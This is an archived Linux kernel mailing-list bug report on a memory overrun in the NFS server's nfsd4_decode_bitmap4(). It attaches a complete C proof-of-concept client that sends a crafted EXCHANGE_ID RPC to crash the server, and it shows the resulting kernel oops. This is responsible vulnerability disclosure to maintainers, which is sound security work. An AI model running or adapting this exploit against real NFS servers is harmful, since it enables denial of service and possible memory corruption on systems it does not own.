All of lore.kernel.org
 help / color / mirror / Atom feed
From: rtm@csail.mit.edu
To: "J. Bruce Fields" <bfields@fieldses.org>,
	Chuck Lever <chuck.lever@oracle.com>
Cc: linux-nfs@vger.kernel.org
Subject: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
Date: Sat, 13 Nov 2021 15:58:42 -0500	[thread overview]
Message-ID: <97860.1636837122@crash.local> (raw)

[-- Attachment #1: Type: text/plain, Size: 1644 bytes --]

nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
write client-supplied data beyond the end of
nfsd4_exchange_id.spo_must_allow[] when called by
nfsd4_decode_exchange_id().

I've attached a demo in which the client's EXCHANGE_ID RPC supplies an
address (0x400) that nfsd4_decode_bitmap4() writes into
nii_domain.data due to overflowing bmval[]. The EXCHANGE_ID RPC also
supplies a zero-length eia_client_impl_id<>. The result is that
copy_impl_id() (called by nfsd4_exchange_id()) tries to read from
address 0x400.

# cc nfsd_1.c
# uname -a
Linux (none) 5.15.0-rc7-dirty #64 SMP Sat Nov 13 20:10:21 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# ./nfsd_1
...
[   16.600786] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000400
[   16.643621] epc : __memcpy+0x3c/0xf8
[   16.650154]  ra : kmemdup+0x2c/0x3c
[   16.657733] epc : ffffffff803667bc ra : ffffffff800e80fe sp : ffffffd000553c20
[   16.777502] status: 0000000200000121 badaddr: 0000000000000400 cause: 000000000000000d
[   16.788193] [<ffffffff803667bc>] __memcpy+0x3c/0xf8
[   16.796504] [<ffffffff8028cf0e>] nfsd4_exchange_id+0xe6/0x406
[   16.806159] [<ffffffff8027c352>] nfsd4_proc_compound+0x2b4/0x4e8
[   16.815721] [<ffffffff80266782>] nfsd_dispatch+0x118/0x172
[   16.823405] [<ffffffff807633fa>] svc_process_common+0x2de/0x62c
[   16.832935] [<ffffffff8076380c>] svc_process+0xc4/0x102
[   16.840421] [<ffffffff802661de>] nfsd+0x102/0x16a
[   16.848520] [<ffffffff80025b60>] kthread+0xfe/0x110
[   16.856648] [<ffffffff80003054>] ret_from_exception+0x0/0xc


[-- Attachment #2: nfsd_1.c --]
[-- Type: application/octet-stream, Size: 4507 bytes --]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>

#define NAA 128
unsigned long long aa[NAA] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x100000000000000ull,
0xd00000001000000ull,
0x0ull,
0x0ull,
0xf2616e62ull,
0x40000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;

char obuf[4096];
int oi = 0;

int s; // socket fd
int xid = 1;

void
put32(unsigned int x)
{
  assert((oi % 4) == 0);
  *(int*)(obuf+oi) = htonl(x);
  oi += 4;
}

void
put64(unsigned long long x)
{
  put32(x >> 32);
  put32(x);
}

void
put_opaque(int n, char *buf)
{
  put32(n);
  for(int i = 0; i < n; i++)
    obuf[oi++] = (buf ? buf[i] : 0);
  while((n%4)!=0){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

void
put_reset()
{
  oi = 4; // leave room for packet length
}

void
send_send()
{
  assert(oi >= 4);
  assert((oi % 4) == 0);
  assert(oi <= sizeof(obuf));
  assert(aai <= NAA);
  *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
  printf("writing %d\n", oi);
  if(write(s, obuf, oi) <= 0) perror("write");
  oi = 0;
}

void
put_rpc_header(int proc)
{
  put_reset();
  put32(xid++);
  put32(0); // mtype=CALL
  put32(2); // rpc version
  put32(100003); // prog #
  put32(4); // prog vers
  put32(proc); // proc
  if(proc == 0){
    put32(0); // cred type
    put32(0); // cred len
  } else {
    put32(1); // cred type AUTH_SYS / AUTH_UNIX
    put32(28); // cred length
    put32(0); // stamp
    put_opaque(9, "localhost");
    put32(65534); // uid
    put32(65534); // gid
    put32(0); // # gids
  }
  put32(0); // verf type
  put32(0); // verf len
}

void
send_nop()
{
  put_rpc_header(0);
  send_send();
}

void
send_exchange_id()
{
  put_rpc_header(1);

  // compound header
  put_opaque(0, ""); // tag
  put32(2); // minor version
  put32(1); // 1 operation in the compound

  int xoi = oi;
  put32(42); // operation 42: EXCHANGE_ID
  put64(1); // verifier4
  put_opaque(22, "Linux NFSv4.2 poobuntu"); // co_ownerid
  put32(0x103);  // flags
  put32(0); // SP4_NONE
  put32(1); // length of client_impl_id
  put_opaque(10, "kernel.org"); // nii_domain
  put_opaque(4, "blah"); // nii_name
  put64(0); // nfstime4
  put32(0); // nfstime4

  for(int i = xoi; i < oi; i += 8)
    *(long long *)(obuf+i) ^= aa[aai++];

  send_send();
}

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  system("exportfs -a");
  system("/etc/init.d/rpcbind start");
  system("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
  sleep(1);
  system("/usr/sbin/rpc.mountd --manage-gids");
  sleep(1);
  system("exportfs -a");
  //system("exportfs -v");
  //system("rpcdebug -m nfsd -s all");
  //system("rpcdebug -m rpc -s all");

  s = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr("127.0.0.1");
  sin.sin_port = htons(801);
  if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind");
    exit(1);
  }

  sin.sin_port = htons(2049);


  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    perror("connect");
    exit(1);
  }

  send_nop();
  {
    printf("waiting for nop reply\n");
    char ibuf[2048];
    int cc = read(s, ibuf, sizeof(ibuf));
    printf("read %d\n", cc);
  }

  send_exchange_id();

  sleep(2);

  
  close(s);
  sleep(1);

}

             reply	other threads:[~2021-11-13 20:58 UTC|newest]

Thread overview: 10+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2021-11-13 20:58 rtm [this message]
2021-11-13 21:06 ` NFS client can crash server due to overrun in nfsd4_decode_bitmap4() Chuck Lever III
2021-11-13 21:25   ` Bruce Fields
2021-11-13 21:31     ` Chuck Lever III
2021-11-13 21:57       ` Bruce Fields
2021-11-14  2:44         ` Chuck Lever III
2021-12-13  2:10       ` Bruce Fields
2021-12-13  4:21         ` Chuck Lever III
2021-12-13  4:52           ` Trond Myklebust
2021-11-13 21:33 ` J. Bruce Fields

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=97860.1636837122@crash.local \
    --to=rtm@csail.mit.edu \
    --cc=bfields@fieldses.org \
    --cc=chuck.lever@oracle.com \
    --cc=linux-nfs@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.